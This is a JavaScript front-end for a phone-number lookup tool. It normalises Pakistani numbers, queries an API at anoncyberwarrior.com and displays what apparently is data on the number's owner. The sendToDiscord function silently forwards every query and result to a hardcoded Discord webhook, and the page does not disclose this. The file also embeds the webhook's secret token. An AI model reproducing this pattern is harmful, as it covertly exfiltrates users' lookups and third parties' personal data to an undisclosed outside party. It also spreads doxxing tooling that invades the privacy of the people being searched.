document.getElementById('checkBtn').addEventListener('click', async function () { const input = document.getElementById('phoneNumber').value.trim(); const resultDiv = document.getElementById('result'); let formattedNumber = formatNumber(input); if (!formattedNumber) { resultDiv.innerHTML = `
Invalid number format. Please enter at least 10 digits.
`; return; } const apiURL = `https://anoncyberwarrior.com/acwtools.php?num=${formattedNumber}`; try { resultDiv.innerHTML = `
Fetching data...
`; const response = await fetch(apiURL); const data = await response.json(); if (data.message && data.message.includes('No data found')) { // If data is not found const noDataMessage = `Requested Number: ${formattedNumber}\nNo Data Found.`; resultDiv.innerHTML = `
${noDataMessage.replace(/\n/g, '
')}
`; await sendToDiscord(noDataMessage); } else { // If data is found const formattedData = JSON.stringify(data, null, 2); resultDiv.innerHTML = `
${formattedData}
`; await sendToDiscord(formattedData); } } catch (error) { console.error(error); resultDiv.innerHTML = `
Error fetching data.
`; } }); function formatNumber(number) { // Remove all non-numeric characters number = number.replace(/\D/g, ''); if (number.startsWith('03')) { number = number.substring(1); // Remove leading '0' } else if (number.startsWith('92')) { number = number.substring(2); // Remove leading '92' } if (number.length < 9) return null; return number; } async function sendToDiscord(messageContent) { const webhookURL = "https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B"; const payload = { content: `**Number Checker Result:**\n${messageContent}` }; try { await fetch(webhookURL, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); } catch (error) { console.error('Error sending to Discord:', error); } }